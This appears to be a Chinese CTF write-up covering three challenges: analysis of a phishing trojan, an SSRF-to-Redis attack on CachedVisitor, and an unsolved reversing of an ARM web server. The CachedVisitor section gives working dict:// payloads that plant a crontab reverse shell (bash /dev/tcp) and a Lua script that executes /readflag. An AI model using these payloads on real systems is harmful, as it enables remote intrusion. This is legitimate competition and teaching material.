钓鱼邮件 | @Luminoria

Bob收到了一份钓鱼邮件,请找出木马的回连地址和端口。 假如回连地址和端口为123.213.123.123:1234,那么敏感信息为MD5(123.213.123.123:1234),即d9bdd0390849615555d1f75fa854b14f,以Cyberchef的结果为准。

附件是邮件的eml文件,处理一下,删除部分标记,可以得到附件部分的base64编码值,尝试赛博厨师解码,发现PK头

用Python处理,写成文件

1
2
3
4
5
6
7
8
9
10
11
import base64

with open("email.txt") as f:
data = f.read().replace("\r\n", "")

with open("raw.txt", "wt") as f:
f.write(data)

with open("file", "wb") as f:
dec_data = base64.b64decode(data)
f.write(dec_data)

binwalk后确定为zip

打开发现有密码,但是邮件里面说了是生日礼物

1
2
3
4
5
6
7
8
9
10
11
12
13
------=_NextPart_67318E01_3D423680_45B6667D
Content-Type: text/html;
charset="utf-8"
Content-Transfer-Encoding: base64

PGRpdiBjbGFzcz0icW1ib3giPjxwIHN0eWxlPSJmb250LWZhbWlseTogLWFwcGxlLXN5c3Rl
bSwgQmxpbmtNYWNTeXN0ZW1Gb250LCAmcXVvdDtQaW5nRmFuZyBTQyZxdW90OywgJnF1b3Q7
TWljcm9zb2Z0IFlhSGVpJnF1b3Q7LCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDEwLjVwdDsg
Y29sb3I6IHJnYig0NiwgNDgsIDUxKTsiPuS7iuWkqeaYr+S9oOeahDI05bKB55Sf5pel77yM
56Wd5L2g55Sf5pel5b+r5LmQPC9wPjxkaXYgeG1haWwtc2lnbmF0dXJlPSIiPjx4bS1zaWdu
YXR1cmU+PC94bS1zaWduYXR1cmU+PHA+PC9wPjwvZGl2PjwvZGl2Pg==

------=_NextPart_67318E01_3D423680_45B6667D--
1
<div class="qmbox"><p style="font-family: -apple-system, BlinkMacSystemFont, &quot;PingFang SC&quot;, &quot;Microsoft YaHei&quot;, sans-serif; font-size: 10.5pt; color: rgb(46, 48, 51);">今天是你的24岁生日,祝你生日快乐</p><div xmail-signature=""><xm-signature></xm-signature><p></p></div></div>

发送时间可以看到为Date: Mon, 11 Nov 2024 12:54:24 +0800,所以结合信息,猜测密码为20001111,得到exe文件

喂给奇安信沙箱,可以直接得到链接的IP地址和端口

222.218.218.218:55555经过md5计算后为df3101212c55ea8c417ad799cfc6b509,即为答案

CachedVisitor | @Ron

个人做法(未出)

附件给了docker镜像,经过检查存在SSRF漏洞且容器出网

并且没有禁用file://协议

参考网上的各种攻击手段,尝试用crontab反弹一个shell出来

SSRF漏洞用到的其他协议(dict协议,file协议) - My_Dreams - 博客园

1
2
3
4
set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/IP/PORT 0>&1\n\n"
config:set:dir:/etc/
config:set:dbfilename:crontab
bgsave

发现服务器没反应,访问file:///etc/crontab发现确实存在进去的任务

但是没有与我的服务器建立连接,查证为crontab没开,算了,交给队友吧

队友做法 | @Ron

部分有用的测试:

容器出网且可读取文件

dict协议可用,可访问redis

分析了一下源代码

1
2
3
4
5
6

```dockerfile
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag

flag设置了权限无法直接读取

尝试使用redis写visit.script进行RCE

在本地docker编写lua测试可以输出flag

1
##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##

直接使用redis将lua写入visit.script

1
2
3
4
dict://127.0.0.1:6379/set:payload:"##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##"
dict://127.0.0.1:6379/config:set:dir:/scripts/
dict://127.0.0.1:6379/config:set:dbfilename:visit.script
dict://127.0.0.1:6379/bgsave

写入之后随意发送一个请求即可执行我们写入的脚本

dart{dc2e4048-dca7-4fa3-9803-8ee9d785af2b}

ez_arm | @Luminoria (未出)

附件给了个压缩包,解压出来内容如下

  • ez_arm/
    • html/
      • index.html
    • httpd
    • libc.so.6
    • start.sh

我先把start.shindex.html这两个个人感觉没啥用的东西内容放下面

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh
# Add your startup script

# DO NOT DELETE
/etc/init.d/xinetd start;
echo DART{$FLAG} > /home/ctf/flag.txt;
chmod 444 /home/ctf/flag.txt;
unset FLAG;
export FLAG=not_flag
rm /bin/sh;
sleep infinity;

1
2
{Hello}

而题目名称ez_arm,告诉我们是arm架构的产物,然后我先去找队友要了个全架构IDA,反编译后得到循环调用的用于处理http请求的代码(部分函数已经被我改过名字了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
int sub_10B04()
{
int v0; // r2
struct tm *v1; // r0
int v2; // r0
char v4; // [sp+18h] [bp+8h] BYREF
char v5; // [sp+1Ch] [bp+Ch] BYREF
char v6; // [sp+20h] [bp+10h] BYREF
char v7; // [sp+24h] [bp+14h] BYREF
char v8; // [sp+28h] [bp+18h] BYREF
struct dirent **v9; // [sp+2Ch] [bp+1Ch] BYREF
struct stat v10; // [sp+30h] [bp+20h] BYREF
char v11[16]; // [sp+8Ch] [bp+7Ch] BYREF
char v12[8]; // [sp+9Ch] [bp+8Ch] BYREF
int v13; // [sp+A4h] [bp+94h]
_BYTE v14[1020]; // [sp+A8h] [bp+98h] BYREF
char v15[1000]; // [sp+4A4h] [bp+494h] BYREF
char v16[20000]; // [sp+88Ch] [bp+87Ch] BYREF
char v17[20000]; // [sp+56ACh] [bp+569Ch] BYREF
char v18[10000]; // [sp+A4CCh] [bp+A4BCh] BYREF
char v19; // [sp+CBDCh] [bp+CBCCh] BYREF
_BYTE v20[9999]; // [sp+CBDDh] [bp+CBCDh] BYREF
char v21[10000]; // [sp+F2ECh] [bp+F2DCh] BYREF
char v22[10000]; // [sp+119FCh] [bp+119ECh] BYREF
char v23[10]; // [sp+1410Ch] [bp+140FCh] BYREF
__int16 v24; // [sp+14116h] [bp+14106h] BYREF
FILE *v25; // [sp+1681Ch] [bp+1680Ch]
int v26; // [sp+16820h] [bp+16810h]
char *v27; // [sp+16824h] [bp+16814h]
char *v28; // [sp+16828h] [bp+16818h]
char *v29; // [sp+1682Ch] [bp+1681Ch]
int v30; // [sp+16830h] [bp+16820h]
size_t v31; // [sp+16834h] [bp+16824h]
size_t v32; // [sp+16838h] [bp+16828h]
int v33; // [sp+1683Ch] [bp+1682Ch]
int i; // [sp+16840h] [bp+16830h]
char *j; // [sp+16844h] [bp+16834h]
int k; // [sp+16848h] [bp+16838h]
char *v37; // [sp+1684Ch] [bp+1683Ch]

v13 = 0;
memset(v14, 0, sizeof(v14));
v32 = 0;
v31 = 0;
v30 = 0;
if ( chdir("/home/ctf/html") < 0 )
make_response(500, "Internal Error", 0, "Config error - couldn't chdir().");
if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "No request found.");
if ( _isoc99_sscanf(v22, "%10000[^ ] %10000[^ ] %10000[^ ]", v21, &v19, v18) != 3 )
make_response(400, "Bad Request", 0, "Can't parse request.");
if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "Missing host.");
v29 = strstr(v22, "host: ");
if ( !v29 )
make_response(400, "Bad Request", 0, "Missing host.");
v28 = strstr(v29 + 6, "\r\n");
if ( v28 )
{
*v28 = 0;
}
else
{
v28 = strchr(v29 + 6, (int)"\n");
if ( v28 )
*v28 = 0;
}
if ( strlen(v29 + 6) <= 7 )
make_response(400, "Bad Request", 0, "host len error.");
if ( v29 == (char *)-6 || !v29[6] )
make_response(400, "Bad Request", 0, "host format error.");// 小写host
_isoc99_sscanf(v29 + 6, "%d.%d.%d.%d%c", &v8, &v7, &v6, &v5, &v4);
if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "Missing Content-length.");// length小写的Content-Length
v29 = strstr(v22, "Content-length: ");
if ( !v29 )
make_response(400, "Bad Request", 0, "Missing Content-length.");
v28 = strstr(v29 + 16, "\r\n");
if ( v28 )
*v28 = 0;
v33 = atoi(v29 + 16);
if ( strlen(v29 + 0x10) > 4 )
make_response(400, "Bad Request", 0, "Content-length len too long.");
if ( strcasecmp(v21, "get") && strcasecmp(v21, "post") )// 必须为GET或者POST
make_response(501, "Not Implemented", 0, "That method is not implemented.");
if ( strncmp(v18, "HTTP/1.0", 8u) ) // HTTP协议版本1.0
make_response(400, "Bad Request", 0, "Bad protocol.");
if ( v19 != 47 )
make_response(400, "Bad Request", 0, "Bad filename.");
v37 = v20;
sub_11C46(v20, v20); // 没看明白在干啥
if ( !*v37 )
v37 = "./"; // 默认路径为当前目录
v32 = strlen(v37);
if ( *v37 == 47
|| !strcmp(v37, "..") // 文件路径不包含下面这一坨
|| !strncmp(v37, "../", 3u)
|| strstr(v37, "/../")
|| !strcmp(&v37[v32 - 3], "/..") )
{
make_response(400, "Bad Request", 0, "Illegal filename.");// 触发限制返回400
}
v27 = strchr(v37, 63);
if ( v27 )
{
for ( i = 0; i <= 9999; ++i )
v23[i] = 0;
i = 0;
for ( j = v37; j != v27; ++j )
{
v0 = i++;
v23[v0] = *j;
}
v23[i] = 0;
}
else
{
strcpy(v23, v37);
}
if ( strcmp(v23, "auth.cgi") )
{
if ( sub_121F4(v37, &v10) < 0 )
make_response(404, "Not Found", 0, "File not found.");
if ( (v10.st_mode & 0xF000) == 0x4000 )
{
if ( v37[v32 - 1] != 47 )
{
snprintf(v16, 0x4E20u, "Location: %s/", &v19);
make_response(302, "Found", v16, "Directories must end with a slash.");
}
snprintf(v17, 0x4E20u, "%sindex.html", v37);
if ( sub_121F4(v17, &v10) < 0 )
{
make_response_header(200, "Ok", 0, "text/html", -1, v10.st_mtim.tv_sec);
v26 = scandir(v37, &v9, 0, alphasort);
if ( v26 >= 0 )
{
for ( k = 0; k < v26; ++k )
{
sub_11D3E(v15, 1000, v9[k]->d_name);
snprintf(v17, 0x4E20u, "%s/%s", v37, v9[k]->d_name);
if ( sub_12200(v17, &v10) >= 0 )
{
v1 = localtime(&v10.st_mtim.tv_sec);
strftime(v11, 0x10u, "%d%b%Y %H:%M", v1);
printf("<a href=\"%s\">%-32.32s</a>%15s %14lld\n", v15, v9[k]->d_name, v11, (__int64)v10.st_size);
sub_11832(v17);
}
printf("<a href=\"%s\">%-32.32s</a> ???\n", v15, v9[k]->d_name);
printf(
"</pre>\n<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n",
"https://www.dart.com/",
"DART");
}
}
else
{
perror("scandir");
}
LABEL_81:
fflush((FILE *)stdout);
exit(0);
}
v37 = v17;
}
memset(v15, 0, sizeof(v15));
v25 = fopen(v37, "r");
if ( !v25 ) // 打不开目标文件,告诉你写保护了
make_response(403, "Forbidden", 0, "File is protected.");
v2 = sub_11BE2(v37);
make_response_header(200, "Ok", 0, v2, v10.st_size, v10.st_mtim.tv_sec);// 构造返回头
fgets(v15, 64, v25);
printf("The encryption %s:", v37);
sub_11DE0(v15);
fclose(v25);
goto LABEL_81;
}
if ( strcasecmp(v21, "post") )
make_response(400, "Bad Request", v30, "Only POST");
fgets(v12, 5, (FILE *)stdin);
if ( strcmp(v12, "\r\n") )
make_response(400, "Bad Request", v30, "text/html");
v31 = strlen(v23);
v32 = sub_11FF2(stdin, &v23[v31 + 1], v33);
if ( !security_check(&v24) )
make_response(400, "Bad Request", v30, "Illegal character");
if ( !v32 )
make_response(400, "Bad Request", v30, "No data");
v23[v32 + 1 + v31] = 0;
sub_11A50(200, "OK", v30, "text/html");
return 0;
}

其中,因为sub_11ACC有很明显的html返回头特征,所以更名为make_response_header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall sub_11ACC(int a1, const char *a2, const char *a3, const char *a4, int a5, time_t a6)
{
struct tm *v6; // r0
struct tm *v7; // r0
char v11[100]; // [sp+10h] [bp+10h] BYREF
time_t v12; // [sp+74h] [bp+74h] BYREF

printf("%s %d %s\r\n", "HTTP/1.0", a1, a2);
printf("Server: %s\r\n", "DART");
v12 = time(0);
v6 = gmtime(&v12);
strftime(v11, 0x64u, "%a, %d %b %Y %H:%M:%S GMT", v6);
printf("Date: %s\r\n", v11);
if ( a3 )
printf("%s\r\n", a3);
if ( a4 )
printf("Content-Type: %s\r\n", a4);
if ( a5 >= 0 )
printf("Content-Length: %lld\r\n", (__int64)a5);
if ( a6 != -1 )
{
v7 = gmtime(&a6);
strftime(v11, 0x64u, "%a, %d %b %Y %H:%M:%S GMT", v7);
printf("Last-Modified: %s\r\n", v11);
}
puts("Connection: close\r");
return puts("\r");
}

sub_119D6有html部分,所以我更名为了make_response

1
2
3
4
5
6
7
8
9
void __fastcall __noreturn sub_119D6(int a1, const char *a2, const char *a3, const char *a4)
{
make_response_header(a1, a2, a3, "text/html", -1, -1);
printf("<html><head><title>%d %s</title></head>\n<body bgcolor=\"#cc9999\"><h4>%d %s</h4>\n", a1, a2, a1, a2);
puts(a4);
printf("<hr>\n<address><a href=\"%s\">%s</a></address>\n</body></html>\n", "https://www.dart.com/", "DART");
fflush((FILE *)stdout);
exit(0);
}

然后开始分析逻辑部分,直接访问会告诉我们Missing host.,不难发现是触发了下面的代码

1
2
3
4
5
if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "Missing host.");
v29 = strstr(v22, "host: ");
if ( !v29 )
make_response(400, "Bad Request", 0, "Missing host.");

C语言的strstr是用于查找提供的内容在传入的字符串中出现的位置的,而查找的内容很容易发现是host: 而不是Host: ,http请求中的主机名的键是大写的Host,所以要对此进行修改

通过burpsuite进行修改后,发现返回的内容变成了Missing Content-length.,所以触发了下面的这部分代码

1
2
3
4
5
if ( !fgets(v22, 10000, (FILE *)stdin) )
make_response(400, "Bad Request", 0, "Missing Content-length.");// length小写的Content-Length
v29 = strstr(v22, "Content-length: ");
if ( !v29 )
make_response(400, "Bad Request", 0, "Missing Content-length.");

同样这里也挖了个坑,常规的应该是Content-Length而不是Content-lengthl的大小写问题),而我用burpsuite修改的时候,它会自动帮我纠正这个大小写问题,于是写了个Python脚本

这里我把其他没有用的东西删掉了,是因为如果把Content-length放在最下面(如同常规的HTTP请求),会检测不到,所以我猜应该是host行下面就进行了Content-length的检测,而且只传入一行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import socket
import socks
import sys

def send_custom_http_request():
# 代理服务器详情
proxy_host = 'PROXY_HOST_PROVIDED_BY_PLATFORM'
proxy_port = 65535
proxy_username = 'PROXY_USERNAME_PROVIDED_BY_PLATFORM'
proxy_password = 'PROXY_PASSWORD_PROVIDED_BY_PLATFORM'

# 目标服务器详情
target_host = '192.0.100.2'
target_port = 9999
target_url = '/.bash_history'

# 构造带有特定大小写的 HTTP POST 请求
http_request = (
f'POST {target_url} HTTP/1.1\r\n'
f'host: {target_host}:{target_port}\r\n'
f'Content-length: 0\r\n'
f'\r\n'
)

try:
# 创建一个 SOCKS5 代理套接字
sock = socks.socksocket()
sock.set_proxy(proxy_type=socks.SOCKS5, addr=proxy_host, port=proxy_port,
username=proxy_username, password=proxy_password)

# 连接到目标服务器通过代理
sock.connect((target_host, target_port))
print("已成功连接到目标服务器通过 SOCKS5 代理。")

# 发送 HTTP POST 请求
sock.sendall(http_request.encode('utf-8'))
print("已发送 HTTP POST 请求。")

# 接收响应
response = b''
while True:
data = sock.recv(4096)
if not data:
break
response += data

# 解码响应
with open("response", "wb") as f:
f.write(response)
response_text = response.decode('utf-8', errors='replace')
print("收到响应:")
print(response_text)

# 检查是否收到 200 OK 状态
if '200 Ok' in response_text:
print("正确连接。")
else:
print("连接可能不正确。未收到 200 OK 状态。")

# 关闭套接字
sock.close()

except Exception as e:
print(f"发生错误:{e}")
sys.exit(1)

if __name__ == '__main__':
send_custom_http_request()

最后触发了Bad protocol.,看了源码发现HTTP协议版本要1.0

1
2
if ( strncmp(v18, "HTTP/1.0", 8u) )           // HTTP协议版本1.0
make_response(400, "Bad Request", 0, "Bad protocol.");

所以改了上面的脚本的请求部分

1
2
3
4
5
6
7
# 构造带有特定大小写的 HTTP POST 请求
http_request = (
f'POST {target_url} HTTP/1.0\r\n'
f'host: {target_host}:{target_port}\r\n'
f'Content-length: 0\r\n'
f'\r\n'
)

然后就可以读取到东西了,但是发现返回的头有点异常,并且index.html的内容也不是{Hello},16进制返回为FF467C86CADA22870A

1
2
3
4
5
6
HTTP/1.0 200 Ok
Server: DART
Date: Sun, 05 Jan 2025 14:54:14 GMT
Content-Type: text/html; charset=iso-0001-1
Connection: close

charset里面用了一个从没见过的编码方式iso-0001-1,翻了代码发现还有个iso-0002-1

sub_11BE2里面可以看到返回的逻辑

1
2
3
4
5
6
7
8
9
10
11
const char *__fastcall sub_11BE2(const char *a1)
{
const char *s1; // [sp+Ch] [bp+Ch]

s1 = strrchr(a1, 46);
if ( !s1 )
return "text/plain; charset=iso-0000-1";
if ( !strcmp(s1, ".html") || !strcmp(s1, ".htm") )
return "text/html; charset=iso-0001-1";
return "text/plain; charset=iso-0002-1";
}

反正就是,如果扩展名为.htm,就返回charset=iso-0002-1,否则都返回charset=iso-0001-1

并且,如果尝试访问/../../../../../../flag,就会返回Illegal filename.,应该是触发了下面这一坨条件

1
2
3
4
5
6
7
8
9
v32 = strlen(v37);
if ( *v37 == 47
|| !strcmp(v37, "..") // 文件路径不包含下面这一坨
|| !strncmp(v37, "../", 3u)
|| strstr(v37, "/../")
|| !strcmp(&v37[v32 - 3], "/..") )
{
make_response(400, "Bad Request", 0, "Illegal filename.");// 触发限制返回400
}

源码里有一个特别的路径auth.cgi(完整源码在上面,这里不重复复制粘贴了)

1
if ( strcmp(v23, "auth.cgi") )

实测如果访问/auth.cgi,会卡住无返回

此外,还找到一个疑似安全检查函数sub_12050(被我改名为security_check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
bool __fastcall sub_12050(const char *a1)
{
char v4[4]; // [sp+8h] [bp+8h] BYREF
int v5; // [sp+Ch] [bp+Ch] BYREF
char v6[8]; // [sp+10h] [bp+10h] BYREF

strcpy(v6, "flag");
v5 = 7627107;
strcpy(v4, "sh");
if ( strchr(a1, 38) )
return 0;
if ( strchr(a1, 124) )
return 0;
if ( strchr(a1, 36) )
return 0;
if ( strchr(a1, 123) )
return 0;
if ( strchr(a1, 125) )
return 0;
if ( strchr(a1, 62) )
return 0;
if ( strchr(a1, 42) )
return 0;
if ( strchr(a1, 39) )
return 0;
if ( strchr(a1, 34) )
return 0;
if ( strchr(a1, 96) )
return 0;
if ( strchr(a1, 80) )
return 0;
if ( strchr(a1, 85) )
return 0;
if ( strstr(a1, (const char *)&v5) )
return 0;
if ( strstr(a1, v4) )
return 0;
return strstr(a1, v6) == 0;
}

对于此函数,GPT的解释如下

至此没有其他头绪了,看看后面有没有大佬做出来吧